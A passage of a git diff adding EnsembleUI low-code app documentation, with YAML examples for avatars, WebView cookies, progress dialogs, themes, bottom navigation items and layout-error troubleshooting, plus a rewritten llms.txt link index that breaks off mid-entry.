avatar. + +```yaml +- Avatar: + source: https://mui.com/static/images/avatar/1.jpg +- Avatar: + source: https://mui.com/static/images/avatar/2.jpg + styles: + width: 50 + borderColor: grey +``` + +Use the `Stack` component to overlay additional elements on the `Avatar`. + +```yaml +- Stack: + children: + - Avatar: + source: https://mui.com/static/images/avatar/2.jpg + styles: + width: 80 + - Icon: + name: camera_line + library: remix + styles: + color: black +``` + +--- + +# Cookies in Webview + +Cookies usage in the EnsembleUI WebView is designed to enhance functionality, especially in native applications. The code snippet allows you to set cookies directly for the WebView, and it provides options to control navigation based on cookie conditions. + +## WebView Configuration +```yaml + WebView: + # Setting cookies for the WebView (only works for native applications) + cookies: ${cookiesArray} #assumes cookiesArray has been defined as a js variable elsewhere + + # Taking cookies from the set-cookies header directly (only works for native applications) + cookieHeader: ${cookieString} #assumes cookiesString has been defined as a js variable elsewhere + + id: webview + uri: https://ensembleui.com/ + styles: + height: 400 +``` +See [Webview in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/22c8d57d-a906-4d11-873d-161fd6c56c0a) for the full example +### Cookies Setting +The `cookies` property allows you to set cookies directly for the WebView. The cookies are defined in the `cookiesArray` variable in the Global section. +The `cookieHeader` property takes cookies from the set-cookies header directly. The cookies are specified in the `cookieString` variable in the Global section. + +### Cookie Usage Example +```yaml + Global: |- + //@code + var cookieString = "CustomName=CustomValue; Max-Age=2592000; Domain=ensembleui.com; Path=/; Expires=Sun, 30 Nov 2024 14:08:46 GMT; HttpOnly=false; Secure=true; SameSite=None"; + + var cookiesArray = + [ + { + "name": "CustomName1", + "value": "CustomValue1", + "domain": ".ensembleui.com", + "path": "/", + "expires": 1727414966.520928, + "httpOnly": false, + "secure": false, + "sameSite": "None" + }, + { + "name": "CustomName2", + "value": "CustomValue2", + "domain": "github.com", + "path": "/", + "expires": 1727414959.838461, + "httpOnly": false, + "secure": false, + "sameSite": "None" + }, + ] +``` + +**Notes** +Cookie handling features are applicable only to native applications, not web applications. +Customize the cookies and cookie-related settings according to your application's requirements. +Understand the navigation control mechanism based on cookies, especially regarding its platform-specific behavior. + +--- + +One common theme in most apps is to show a progress dialog while an API is being processed on the server and close it when the response from the API has been received. This can easily be achieved as follows. Note the use of closeAllDialogs action. + +This method will not work when the progress container is being displayed on top of an existing dialog as closeAllDialogs will close the dialog under it as well which may not be what you desire. + +Lastly a dialog is not the samething as a modal that is displayed with navigateModalScreen. Calling closeAllDialogs does NOT close the modal that is opened with navigateModalScreen + + ```yaml + - Button: + label: Custom Progress - closes in 3 seconds + onTap: + showDialog: + widget: + ProgressDialog: + inputs: + userId: 1 + +ProgressDialog: + inputs: + - userId + onLoad: + invokeAPI: + name: getMockUser + inputs: + userId: ${userId} + onResponse: + #adding this timer here just so that we can delay closing the dialog + startTimer: + options: + startAfter: 3 + repeat: false + onTimer: + #all you need to do to close the dialog is to call closeAllDialogs action + closeAllDialogs: + body: + Column: + styles: + crossAxis: center + gap: 8 + children: + - Progress: + - Text: + text: Just a moment... + +API: + getMockUser: + inputs: + - userId + uri: https://dummyjson.com/users/${userId} + method: GET +``` +See [this](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c2c248f2-a289-40d3-acd5-65a1a7f3c5a2#) for a live example + +--- + +# General Color for All Buttons across an App + +Defining a theme for your app so as to save time for writing repeated code for text colors, backgroundColors etc is a better way for being efficient and avoiding DRY principle. EnsembleUI enables us to define our own App theme. You can find more about themes [here](). For now lets focus on achieving a general color our Button text. + +**Example** +Lets us consider an App where we want to use `0xFF308775` color for our all Buttons text. To achieve this we will use Theme option in ensemble studio. + +**Steps** + +1. Go to your App and click on **Theme** in left side panel. Here is hw it looks like. + +![Alt text](public/images/tips/image-4.png). + +2. Then use the code below to define [primary]() color for button color, focus color etc. + +**Code** + + + +```yaml +# define your app theme here +Colors: + primary: 0xFF308775 +``` + + + +**Output** + +![Alt text](public/images/tips/image-5.png) + + +Note: `Just like all other Web and Mobile technologies like Html, Css and Flutter etc if there is style done on a button it will be of higher priority then theme so to let theme work no need to style button color at all.` + +--- + +## Icon Without Label + +Since these kind of icons require us to utilize [custom widgets]() thus we will be using **customItem** widget for getting through it. It has two properties namely **widget** and **selectedWidget**. + +| Property | Type | Description | +| :------------- | :----- | :--------------------------------------------------------------------- | +| widget | widget | Used for inactive item. | +| selectedWidget | widget | Used for active item. | +| page | screen | Used for naming the screen to which we navigate once clicked upon item | + +We will utilize these two to achieve two different states for an icon active and inactive. Let us see the code example + +**Example** + + + +```yaml +ViewGroup: + BottomNavBar: + styles: + backgroundColor: white + color: 0xFF9DAEC1 + selectedColor: black + floatingBackgroundColor: 0xFF8A1C9D + floatingIconColor: white + notchColor: 0xFF0F0E1C + items: + - customItem: + widget: + IconWidget: + inputs: + icon: home + selectedWidget: + ActiveIconWidget: + inputs: + icon: home + page: Home + + - customItem: + widget: IconOnlyWidget + selectedWidget: ActiveIconOnlyWidget + page: Chat + + - customItem: + widget: + IconWidget: + inputs: + icon: account_balance_wallet + selectedWidget: + ActiveIconWidget: + inputs: + icon: account_balance_wallet + page: Home +``` + + + +**Output** +![Alt text](public/images/tips-and-tricks/image.png) +![Alt text](public/images/tips-and-tricks/image-1.png) + +**Note:**`BottomNavBar is used to navigate across whole application so it always has a separate screen where it comes under [View Group]() with all the items corresponding to each screen of your application.` + +**Explanation** + +Each item has two properties for active and inactive widget. [IconWidget](#iconwidget) and [IconOnlyWidget](#icononlywidget) represents the in-active state / screen while [ActiveIconWidget](#activeiconwidget) and [ActiveIconOnlyWidget](#activeicononlywidget) for active state / screen. Both of these are [custom widgets](). Its important to notice that [IconWidget](#iconwidget) and [ActiveIconWidget](#activeiconwidget) accept input as well which is the **name** of the **icon** we want to use. + +##### IconWidget + + + +```yaml +IconWidget: + inputs: + - icon + body: + Column: + styles: { mainAxis: center, crossAxis: center } + children: + - Icon: + icon: ${icon} + styles: + color: 0x70000000 + size: 28 +``` + + + +##### ActiveIconWidget + + + +```yaml +ActiveIconWidget: + inputs: + - icon + body: + Column: + styles: { mainAxis: center, crossAxis: center } + children: + - Icon: + icon: ${icon} + styles: + color: black + size: 28 +``` + + + +##### IconOnlyWidget + + + +```yaml +IconOnlyWidget: + body: + Column: + styles: { mainAxis: center, crossAxis: center } + children: + - Icon: + icon: star + styles: + backgroundColor: transparent + borderColor: black + color: yellow + borderRadius: 26 + padding: 10 + size: 18 +``` + + + +##### ActiveIconOnlyWidget + + + +```yaml +ActiveIconOnlyWidget: + body: + Column: + styles: { mainAxis: center, crossAxis: center } + children: + - Icon: + icon: star + styles: + backgroundColor: 0xFF004548 + color: yellow + borderRadius: 26 + padding: 12 + size: 26 +``` + + +--- + +## Profile Picture + +Its possible that you might need to have your profile picture as item to navigate to settings page or profile page etc, anyway whichever is your case here is how can do it with EnsembleUI. + +**Example** + +```yaml +ViewGroup: + BottomNavBar: + - customItem: + widget: CustomNavBarItemWithImage + selectedWidget: ActiveCustomNavBarItemWithImage + page: WeeklyScheduler +``` + +**Output** + +![Alt text](public/images/image-2.png) +![Alt text](public/images/image-3.png) +**Note:** `Its only specific item code, so as to stay relevant to our topic. You can see complete example` [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/aa634599-cd5d-411c-a4b6-1163f3b5c558?propertyPanelEnabled=true&instantPreviewDisabled=false&editorV2Enabled=true) + +##### CustomNavBarItemWithImage + + + +```yaml +CustomNavBarItemWithImage: + body: + Column: + styles: + padding: 2 8 + children: + - Image: + source: https://robohash.org/hicveldicta.png + styles: + width: 40 + height: 40 + borderRadius: 40 + borderWidth: 2 + borderColor: 0xFFDEDEDE +``` + + + +##### ActiveCustomNavBarItemWithImage + + + +```yaml +ActiveCustomNavBarItemWithImage: + body: + Column: + styles: + padding: 2 8 + children: + - Image: + source: https://robohash.org/hicveldicta.png + styles: + width: 40 + height: 40 + borderRadius: 40 + borderWidth: 2 + borderColor: black +``` + + +--- + +# Specify library icons for start and end + +**Objective** +To specify library icons for startingIcon and endingIcon on a Button + +To achieve this, consider the following steps: + +1. To specify library icons in shorthand notation for startingIcon and endingIcon on a Button, you can use the following syntax: + ```yaml + Button: + startingIcon: wifi + endingIcon: addressBook fontAwesome + ``` +2. Icons can be represented with a more verbose syntax on a Button using the following structure: + ```yaml + Button: + endingIcon: + name: addressBook + library: fontAwesome + size: 50 + color: red + ``` + +--- + +# No Bounded Width Error + +You get the error **"This widget requires a width."** on some widgets. + +e.g. TextInput, Map, ... + +## Reason + +A widget needs a width (and a height) to render. Some widgets can automatically calculate its width based on its content (e.g. Text) or from its children. Others widgets cannot (or should not e.g. what should the width of a Map widget be?). These widgets rely on the parent to constrain (give) them a dimension. + +## Solution + +1. Set an explicit width or max width on this widget (if applicable). +2. The parent needs to constrain the width of this widget. This can mean setting a width on the parent or force the parent to decide how to distribute the space. + - For **Row** parent: Row does not constrain the children's widths so consider using *FlexRow* instead. FlexRow will stretch to fill its parent and distribute the available space between its children. + - For **Stack** parent: Similarly Stack also do not constrain the children's widths. Adjust its stackPositionLeft / stackPositionRight attributes to constrain the children within this width. + - For **horizontal scrollable** parent: Scrollable parent allows its children to decide their own widths (so it knows how to scroll), meaning all children must be able to calculate their own widths. Consider changing your design if you run into this situation. + +--- + +# No Bounded Height Error + +You get the error **"This widget requires a height."** on some widgets + +e.g. Divider (vertical), Map, ... + +## Reason + +A widget needs a height (and a width) to render. Some widgets can automatically calculate its height based on its content (e.g. Text with lineHeight of 2) or from its children, while other widgets rely on the parent to constrain (give) them a dimension. + +## Solution + +1. Set an explicit height on this widget. +2. The parent needs to constrain the height of this widget. This can mean either setting a height on the parent or force the parent to decide how to distribute the vertical space. + - If the parent (or ancestor) is **Column**: Column does not constrain the children's heights so consider using *FlexColumn* instead. FlexColumn will stretch to fill its parent's height and distribute the available vertical space between its children. Be careful when using FlexColumn inside a scrollable ancestor (all widgets inside a scrollable ancestor need to be able to calculate their own heights). + - If the parent is **Row**: Row does constrain the height (crossAxis) so it alone is **not** a problem. However if the parent of the Row is another Column, the Column will not send the height constraint to the Row, which in turn cannot provide the constraint to its children. If your Row has at least 1 child that has a height, you may explicitly set the height constraint to the tallest child's height using `crossAxisConstraint: largestChild`. This will ensure all children without a height will get the height of the row. + - For **Stack** parent: Similarly Stack also do not constrain the children's widths. Adjust its stackPositionTop / stackPositionBottom attributes to constrain the children within this height. + - For **vertical scrollable** parent: Scrollable parent allows its children to decide their own height (so it knows how to scroll), meaning all children must be able to calculate their own heights. Consider changing your design if you run into this situation. + +--- + +# FlexRow No Bounded Width Error + +You get the error **"FlexRow requires a width for child distribution."** + +## Reason + +FlexRow's layout algorithm works by distributing a pre-defined width proportionally to all its children. If the FlexRow does not have an explicit width, its parent is required to constrain its width. This is a variation of [no-bounded-width](/pages/error/no-bounded-width.md) error, but specific to FlexRow. + +## Solution + +1. Set an explicit width on the FlexRow. This width will then be distributed proportionally to its children. +2. The parent (anywhere up the chain) needs to constrain the width of this widget. This can mean either setting a width on the parent or forcing the parent to decide how to distribute the horizontal space. + - For **horizontal Scrollable** ancestor: Having a FlexRow (stretching to the width of the parent) inside a horizontal Scrollable (width is calculated from all children combined) does not make sense. There has to be an explicit width set at least once in the hierarchy chain between the FlexRow and the Scrollable ancestor. + - For **Row** ancestor: Row does not constrain its children's widths (it lets the children dictate their own widths). For this reason, ensure there is a width set (can be explicit or stretched to parent) at least once in the hierarchy chain between the FlexRow and the Row ancestor. + - Consider using all FlexRow(s) instead of Row up the ancestor chain to the root View. This ensure the screen width is distributed properly down to our last FlexRow. + - If you don't need FlexRow's distribution capability, considered using all Rows instead. Rows lay out their children with their requested widths in a left to right manner, with the ability to add horizontal scrollbar as needed. + +--- + +# FlexColumn No Bounded Height Error + +You get the error **"FlexColumn requires a height for child distribution."** + +## Reason + +FlexColumn's layout algorithm works by distributing a pre-defined height proportionally to all its children. If the FlexColumn does not have an explicit height, its parent is required to constrain its height. This is a variation of [no-bounded-height](/pages/error/no-bounded-height.md) error, but specific to FlexColumn. + +## Solution + +1. Set an explicit height on the FlexColumn. This height will then be distributed proportionally to its children. +2. The parent (anywhere up the chain) needs to constrain the height of this widget. This can mean either setting a height on the parent or forcing the parent to decide how to distribute the vertical space. + - For **vertical Scrollable** ancestor: Having a FlexColumn (stretch to parent) inside a vertical Scrollable (height is calculated from all children combined) does not make sense. There has to be an explicit height set at least once in the hierarchy chain between the FlexColumn and the Scrollable ancestor. + - For **Column** ancestor: Column does not constrain its children's heights (it lets the children dictate their own heights). For this reason, ensure there is a height set (can be explicit or stretched to parent) at least once in the hierarchy chain between the FlexColumn and the Column ancestor. + - Consider using all FlexColumn(s) instead of Column up the ancestor chain to the root View. This ensure the screen height is distributed properly down to our last FlexColumn. + - If you don't need FlexColumn's distribution capability, considered using all Columns instead. Columns lay out their children with their requested heights in a top-down manner, with the ability to add vertical scrollbar as needed. + +--- diff --git a/public/llms.txt b/public/llms.txt index 2f6982e..1e5228d 100644 --- a/public/llms.txt +++ b/public/llms.txt @@ -1,249 +1,249 @@ -# Welcome to Ensemble - -Ensemble is a platform where you can build, publish, and iterate native and web apps without leaving your browser. With Ensemble, you create apps by defining them using a declarative language. Think of it as configuring your app, instead of coding it. Ensemble apps are rendered at runtime by interpreting this declerative definition. This architecture means that: 1. Ensemble apps are native to each platform: iOS, Android, and web. 2. Ensemble apps can be updated instantly because the app definitions are pushed to clients. You can use Ensemble's cloud service, or use your own server. 3. Ensemble apps always leverage the latest front-end technologies (Flutter for iOS and Android, React for web) so that you don't have to worry about tech-debt incured by using these technologies. ![architecture](/images/architecture.png) - -## Docs - -- [Studio overview](https://docs.ensembleui.com/studio-overview) -- [Ensemble Studio Desktop App](https://docs.ensembleui.com/desktop-app/installation) -- [Ensemble Screen Structure](https://docs.ensembleui.com/screens-and-widgets/screen-structure) -- [Layouts](https://docs.ensembleui.com/screens-and-widgets/layouts) -- [Screen Navigation](https://docs.ensembleui.com/screens-and-widgets/navigation) -- [Widgets Directory](https://docs.ensembleui.com/screens-and-widgets/widgets) -- [Script with JavaScript](https://docs.ensembleui.com/scripts-with-js) -- [Interact with APIs](https://docs.ensembleui.com/apis/api-overview) -- [Define APIs](https://docs.ensembleui.com/apis/define-api) -- [Invoking APIs, aka calling APIs](https://docs.ensembleui.com/apis/call-api) -- [Access API response body and headers](https://docs.ensembleui.com/apis/access-api-response) -- [onError](https://docs.ensembleui.com/apis/api-on-error) -- [Binding APIs to Item Templates](https://docs.ensembleui.com/apis/api-item-templates) -- [Mocking API responses to develop and test your app](https://docs.ensembleui.com/apis/use-mock-api-response) -- [Chaining APIs](https://docs.ensembleui.com/apis/chaining-apis) -- [SSL Configuration](https://docs.ensembleui.com/apis/api-ssl-configuration) -- [GraphQL](https://docs.ensembleui.com/apis/graphql) -- [Using WebSockets](https://docs.ensembleui.com/apis/websocket) -- [Theme](https://docs.ensembleui.com/theme-and-styling/theme) -- [Animations in EnsembleUI](https://docs.ensembleui.com/theme-and-styling/animations) -- [Using Custom Fonts](https://docs.ensembleui.com/theme-and-styling/custom-fonts) -- [Splash Feedback (Touchable Opacity)](https://docs.ensembleui.com/theme-and-styling/splash-feedback) -- [Text scaling](https://docs.ensembleui.com/theme-and-styling/text-scaling) -- [Assets (images, videos, etc.)](https://docs.ensembleui.com/assets) -- [Persistent Local Storage](https://docs.ensembleui.com/local-storage) -- [App Settings](https://docs.ensembleui.com/app-settings) -- [Configuration of Firebase Project with Ensemble App](https://docs.ensembleui.com/firebase/configuration) -- [Calling Cloud Firestore APIs](https://docs.ensembleui.com/firebase/firestore-operations) -- [Translations](https://docs.ensembleui.com/translations) -- [Authentication](https://docs.ensembleui.com/authentication/overview) -- [Social Sign In](https://docs.ensembleui.com/authentication/social-signin) -- [Setting up Authentication with Firebase](https://docs.ensembleui.com/authentication/firebase) -- [Setting up Authentication with Auth0](https://docs.ensembleui.com/authentication/auth0) -- [MoEngage Integration](https://docs.ensembleui.com/moengage/configuration) -- [Adobe Analytics](https://docs.ensembleui.com/adobe-analytics) -- [Setup Deeplink](https://docs.ensembleui.com/deep-link/setup-deeplink) -- [Setup Deferred Deeplink](https://docs.ensembleui.com/deep-link/setup-deferred-deeplink) -- [Embed Flutter screen in an Ensemble app](https://docs.ensembleui.com/extending-ensemble/external-screen) -- [Using local assets](https://docs.ensembleui.com/extending-ensemble/local-assets) -- [Understanding Widget Sizing](https://docs.ensembleui.com/concepts/widget-sizing) -- [Item Template](https://docs.ensembleui.com/concepts/item-template) -- [Data Binding](https://docs.ensembleui.com/concepts/data-binding) -- [Screen Lifecycle](https://docs.ensembleui.com/concepts/screen-lifecycle) -- [Custom Widgets](https://docs.ensembleui.com/concepts/custom-widgets) -- [Preview your app](https://docs.ensembleui.com/test/preview-app) -- [Automated Testing](https://docs.ensembleui.com/test/integration-tests) -- [Preparing your App for deployment](https://docs.ensembleui.com/deploy/1-prepare-app) -- [Configure Social Sign In for Deployment](https://docs.ensembleui.com/deploy/2-social-signin) -- [Deploy to iOS TestFlight](https://docs.ensembleui.com/deploy/3-ios-appstore) -- [Connecting to OAuth services (Optional)](https://docs.ensembleui.com/deploy/3-oauth-services) -- [Deploy to Android devices](https://docs.ensembleui.com/deploy/4-android-device) -- [Deploy to Android Play Store](https://docs.ensembleui.com/deploy/5-android-play-store) -- [Prepare for Production](https://docs.ensembleui.com/deploy/6-prepare-for-production) -- [Making your app work when offline](https://docs.ensembleui.com/deploy/7-offline-mode) -- [Guide: Generating Google Play Console API Key](https://docs.ensembleui.com/deploy/8-google-play-api-key) -- [Guide: Generating API Key for App Store Connect](https://docs.ensembleui.com/deploy/9-appstore-connect-api-key) -- [Guide: Generating a Firebase Service Account for App Distribution](https://docs.ensembleui.com/deploy/10-firebase-app-distribution) -- [Host and serve your app definition on your own server](https://docs.ensembleui.com/host-on-your-server) -- [Accordion Widget](https://docs.ensembleui.com/widgets/accordion) -- [Avatar widget](https://docs.ensembleui.com/widgets/avatar) -- [Button widget](https://docs.ensembleui.com/widgets/button) -- [Calendar widget](https://docs.ensembleui.com/widgets/calendar) -- [Carousel widget](https://docs.ensembleui.com/widgets/carousel) -- [ChartJS widget](https://docs.ensembleui.com/widgets/chart-js) -- [Checkbox widget](https://docs.ensembleui.com/widgets/checkbox) -- [Column widget](https://docs.ensembleui.com/widgets/column) -- [Conditional widget](https://docs.ensembleui.com/widgets/conditional) -- [ConfirmationInput widget](https://docs.ensembleui.com/widgets/confirmation-input) -- [DataGrid widget](https://docs.ensembleui.com/widgets/data-grid) -- [Date widget](https://docs.ensembleui.com/widgets/date) -- [Divider](https://docs.ensembleui.com/widgets/divider) -- [DropDown widget](https://docs.ensembleui.com/widgets/dropdown) -- [FittedColumn (deprecated)](https://docs.ensembleui.com/widgets/fitted-column) -- [FittedRow (deprecated)](https://docs.ensembleui.com/widgets/fitted-row) -- [FlexColumn](https://docs.ensembleui.com/widgets/flex-column) -- [FlexRow](https://docs.ensembleui.com/widgets/flex-row) -- [Flex](https://docs.ensembleui.com/widgets/flex) -- [Flow](https://docs.ensembleui.com/widgets/flow) -- [Form widget](https://docs.ensembleui.com/widgets/form) -- [GridView](https://docs.ensembleui.com/widgets/gridview) -- [HTML widget](https://docs.ensembleui.com/widgets/html) -- [Icon widget](https://docs.ensembleui.com/widgets/Icon) -- [Finding supported icons and their library](https://docs.ensembleui.com/widgets/icon2) -- [Image widget](https://docs.ensembleui.com/widgets/Image) -- [InlineTimePicker Widget](https://docs.ensembleui.com/widgets/inline-time-picker) -- [ListView](https://docs.ensembleui.com/widgets/listview) -- [LoadingContainer Widget](https://docs.ensembleui.com/widgets/loading-container) -- [Lottie Animation widget](https://docs.ensembleui.com/widgets/lottie) -- [Map widget](https://docs.ensembleui.com/widgets/Map) -- [Markdown widget](https://docs.ensembleui.com/widgets/markdown) -- [Multi-Child Layout widgets](https://docs.ensembleui.com/widgets/multi-child-layouts) -- [PasswordInput widget](https://docs.ensembleui.com/widgets/passwordinput) -- [Profile Image Widget](https://docs.ensembleui.com/widgets/profile-image) -- [Progress Indicator](https://docs.ensembleui.com/widgets/progress-indicator) -- [QRCodeScanner widget](https://docs.ensembleui.com/widgets/qrcode-scanner) -- [QR-Code widget](https://docs.ensembleui.com/widgets/qrcode) -- [RadioButton](https://docs.ensembleui.com/widgets/radio-button) -- [RadioGroup](https://docs.ensembleui.com/widgets/radio-group) -- [ensemble.RatingStars widget](https://docs.ensembleui.com/widgets/rating-widget) -- [Row](https://docs.ensembleui.com/widgets/row) -- [Shape Widget](https://docs.ensembleui.com/widgets/shape) -- [Signature Widget](https://docs.ensembleui.com/widgets/signature) -- [Slidable Widget](https://docs.ensembleui.com/widgets/slidable) -- [Slider Widget](https://docs.ensembleui.com/widgets/slider) -- [Spacer](https://docs.ensembleui.com/widgets/spacer) -- [Stack](https://docs.ensembleui.com/widgets/stack) -- [Staggered Grid](https://docs.ensembleui.com/widgets/staggered-grid) -- [Switch widget](https://docs.ensembleui.com/widgets/switch) -- [TabBar](https://docs.ensembleui.com/widgets/tabbar) -- [TextInput widget](https://docs.ensembleui.com/widgets/text-input) -- [Text widget](https://docs.ensembleui.com/widgets/text) -- [Time widget](https://docs.ensembleui.com/widgets/time) -- [TripleSwitch widget](https://docs.ensembleui.com/widgets/triple-state-switch) -- [Type References](https://docs.ensembleui.com/widgets/types) -- [Video widget](https://docs.ensembleui.com/widgets/video) -- [WebView widget](https://docs.ensembleui.com/widgets/webview) -- [Youtube](https://docs.ensembleui.com/widgets/youtube) -- [Composite Widgets](https://docs.ensembleui.com/composite-widgets) -- [authenticateByBiometric](https://docs.ensembleui.com/actions/authenticate-by-biometric) -- [BLE Client](https://docs.ensembleui.com/actions/ble-actions) -- [callExternalMethod](https://docs.ensembleui.com/actions/call-external-method) -- [checkPermission](https://docs.ensembleui.com/actions/check-permission) -- [readKeychain](https://docs.ensembleui.com/actions/read-keychain) -- [saveKeychain](https://docs.ensembleui.com/actions/save-keychain) -- [clearKeychain](https://docs.ensembleui.com/actions/clear-keychain) -- [closeAllDialogs](https://docs.ensembleui.com/actions/close-all-dialogs) -- [connectWallet](https://docs.ensembleui.com/actions/connect-wallet) -- [copyToClipboard](https://docs.ensembleui.com/actions/copy-to-clipboard) -- [Device Security](https://docs.ensembleui.com/actions/device-security) -- [Actions](https://docs.ensembleui.com/actions/directory) -- [dispatchEvent action](https://docs.ensembleui.com/actions/dispatch-event) -- [executeActionGroup](https://docs.ensembleui.com/actions/execute-action-group) -- [executeCode](https://docs.ensembleui.com/actions/execute-code) -- [executeConditionalAction](https://docs.ensembleui.com/actions/execute-conditional-action) -- [getLocation](https://docs.ensembleui.com/actions/get-location) -- [getNetworkInfo](https://docs.ensembleui.com/actions/get-network-info) -- [getPhoneContacts](https://docs.ensembleui.com/actions/get-phone-contacts) -- [invokeAPI](https://docs.ensembleui.com/actions/invoke-API) -- [invokeHaptic](https://docs.ensembleui.com/actions/invoke-haptic) -- [logEvent](https://docs.ensembleui.com/actions/log-events) -- [Action: navigateBack](https://docs.ensembleui.com/actions/navigate-back) -- [navigateModalScreen](https://docs.ensembleui.com/actions/navigate-modal-screen) -- [navigateScreen](https://docs.ensembleui.com/actions/navigate-screen) -- [navigateViewGroup](https://docs.ensembleui.com/actions/navigate-view-group) -- [notification](https://docs.ensembleui.com/actions/notification) -- [onNavigateBack](https://docs.ensembleui.com/actions/on-navigate-back) -- [Action: onViewGroupResume](https://docs.ensembleui.com/actions/on-view-group-resume) -- [Action: onViewGroupUpdate](https://docs.ensembleui.com/actions/on-view-group-update) -- [openAppSettings](https://docs.ensembleui.com/actions/open-app-settings) -- [openCamera](https://docs.ensembleui.com/actions/open-camera) -- [openPlaidLink](https://docs.ensembleui.com/actions/open-plaid-link) -- [openUrl](https://docs.ensembleui.com/actions/open-url) -- [pauseAudio](https://docs.ensembleui.com/actions/pause-audio) -- [pickFiles](https://docs.ensembleui.com/actions/pick-files) -- [playAudio](https://docs.ensembleui.com/actions/play-audio) -- [Pull To Refresh](https://docs.ensembleui.com/actions/pull-to-refresh) -- [rateApp](https://docs.ensembleui.com/actions/rate-app) -- [requestNotificationAccess](https://docs.ensembleui.com/actions/request-notification-access) -- [resumeAudio](https://docs.ensembleui.com/actions/resume-audio) -- [saveFile](https://docs.ensembleui.com/actions/save-file) -- [seekAudio](https://docs.ensembleui.com/actions/seek-audio) -- [getSecureStorage](https://docs.ensembleui.com/actions/get-secure-storage) -- [setSecureStorage](https://docs.ensembleui.com/actions/set-secure-storage) -- [clearSecureStorage](https://docs.ensembleui.com/actions/clear-secure-storage) -- [Share](https://docs.ensembleui.com/actions/share) -- [showBottomModal](https://docs.ensembleui.com/actions/show-bottom-modal) -- [showDialog](https://docs.ensembleui.com/actions/show-dialog) -- [showNotification](https://docs.ensembleui.com/actions/show-notification) -- [showToast](https://docs.ensembleui.com/actions/show-toast) -- [startTimer](https://docs.ensembleui.com/actions/start-timer) -- [stopAudio](https://docs.ensembleui.com/actions/stop-audio) -- [stopTimer](https://docs.ensembleui.com/actions/stop-timer) -- [takeScreenshot](https://docs.ensembleui.com/actions/take-screenshot) -- [uploadFiles](https://docs.ensembleui.com/actions/upload-files) -- [Formatter](https://docs.ensembleui.com/utilities/formatter) -- [Device](https://docs.ensembleui.com/utilities/device) -- [checkPermission](https://docs.ensembleui.com/device-capabilities/check-permission) -- [getLocation](https://docs.ensembleui.com/device-capabilities/get-location) -- [getPhoneContacts](https://docs.ensembleui.com/device-capabilities/get-phone-contacts) -- [invokeAPI](https://docs.ensembleui.com/device-capabilities/invoke-API) -- [invokeHaptic](https://docs.ensembleui.com/device-capabilities/invoke-haptic) -- [navigateBack](https://docs.ensembleui.com/device-capabilities/navigate-back) -- [navigateModalScreen](https://docs.ensembleui.com/device-capabilities/navigate-modal-screen) -- [navigateScreen](https://docs.ensembleui.com/device-capabilities/navigate-screen) -- [notification](https://docs.ensembleui.com/device-capabilities/notification) -- [openCamera](https://docs.ensembleui.com/device-capabilities/open-camera) -- [pickFiles](https://docs.ensembleui.com/device-capabilities/pick-files) -- [rateApp](https://docs.ensembleui.com/device-capabilities/rate-app) -- [requestNotificationAccess](https://docs.ensembleui.com/device-capabilities/request-notification-access) -- [Share](https://docs.ensembleui.com/device-capabilities/share) -- [showDialog](https://docs.ensembleui.com/device-capabilities/show-dialog) -- [showNotification](https://docs.ensembleui.com/device-capabilities/show-notification) -- [uploadFiles](https://docs.ensembleui.com/device-capabilities/upload-files) -- [Add logic using JavaScript](https://docs.ensembleui.com/javascript-reference/intro) -- [JavaScript Date](https://docs.ensembleui.com/javascript-reference/Date) -- [Ensemble Objects and their properties](https://docs.ensembleui.com/javascript-reference/Ensemble) -- [Exception Handling in Javascript](https://docs.ensembleui.com/javascript-reference/exceptions) -- [Defining and Re-using Javascript Code](https://docs.ensembleui.com/javascript-reference/global-scripts) -- [console.log](https://docs.ensembleui.com/javascript-reference/Global) -- [JSON](https://docs.ensembleui.com/javascript-reference/JSON) -- [JsonPath](https://docs.ensembleui.com/javascript-reference/JsonPath) -- [Object](https://docs.ensembleui.com/javascript-reference/Map-and-Array) -- [JavaScript Math](https://docs.ensembleui.com/javascript-reference/Math) -- [Number Functions](https://docs.ensembleui.com/javascript-reference/Numbers) -- [String Functions](https://docs.ensembleui.com/javascript-reference/String) -- [AppInfo object](https://docs.ensembleui.com/app-object) -- [Device object](https://docs.ensembleui.com/device-object) -- [Getting help from Ensemble team](https://docs.ensembleui.com/tips-and-tricks/getting-help) -- [Custom BottomNavBar item styling](https://docs.ensembleui.com/tips-and-tricks/custom-navbar-items) -- [Building responsive UIs](https://docs.ensembleui.com/tips-and-tricks/responsive-ui) -- [Use device's camera for updating profile picture](https://docs.ensembleui.com/tips-and-tricks/user-profile-picture) -- [Inputs to ChartJs](https://docs.ensembleui.com/tips-and-tricks/inputs-chartjs) -- [How to modify the BottomNavBar with custom styling and widgets](https://docs.ensembleui.com/tips-and-tricks/how-to-modify-bottom-navbar) -- [Open Maps with Coordinates on Android and iOS](https://docs.ensembleui.com/tips-and-tricks/open-maps-with-coordinates) -- [Using navigate Screen with BottomNavBar](https://docs.ensembleui.com/tips-and-tricks/navigateScreen-with-bottomNavBar) -- [Dynamic Color Modification in JavaScript](https://docs.ensembleui.com/tips-and-tricks/dynamic-color-modification) -- [Configuring BottomNavBar Icons](https://docs.ensembleui.com/tips-and-tricks/icons-in-bottomNavBar) -- [Invoke Haptics](https://docs.ensembleui.com/tips-and-tricks/invoke-haptic) -- [Custom Lottie Animations with Events and Controls](https://docs.ensembleui.com/tips-and-tricks/lottie-animations) -- [HTML Widget with maxLines Support and Enhanced Styling](https://docs.ensembleui.com/tips-and-tricks/html-widget) -- [Push Notification](https://docs.ensembleui.com/tips-and-tricks/push-notification) -- [Using device width and height](https://docs.ensembleui.com/tips-and-tricks/using-device-dimentions) -- [Using BottomSafeArea for Responsive Layouts](https://docs.ensembleui.com/tips-and-tricks/bottom-safe-area) -- [Floating Button](https://docs.ensembleui.com/tips-and-tricks/floatingButton) -- [Creating an Avatar](https://docs.ensembleui.com/tips-and-tricks/avatar) -- [Cookies in Webview](https://docs.ensembleui.com/tips-and-tricks/cookies) -- [adding this timer here just so that we can delay closing the dialog](https://docs.ensembleui.com/tips-and-tricks/custom-progress-dialog-close-on-an-event) -- [General Color for All Buttons across an App](https://docs.ensembleui.com/tips-and-tricks/general_primary_color-theme) -- [Icon Without Label](https://docs.ensembleui.com/tips-and-tricks/icon-with-label) -- [Profile Picture](https://docs.ensembleui.com/tips-and-tricks/profile-picture-item) -- [Specify library icons for start and end](https://docs.ensembleui.com/tips-and-tricks/specifying-icons) -- [No Bounded Width 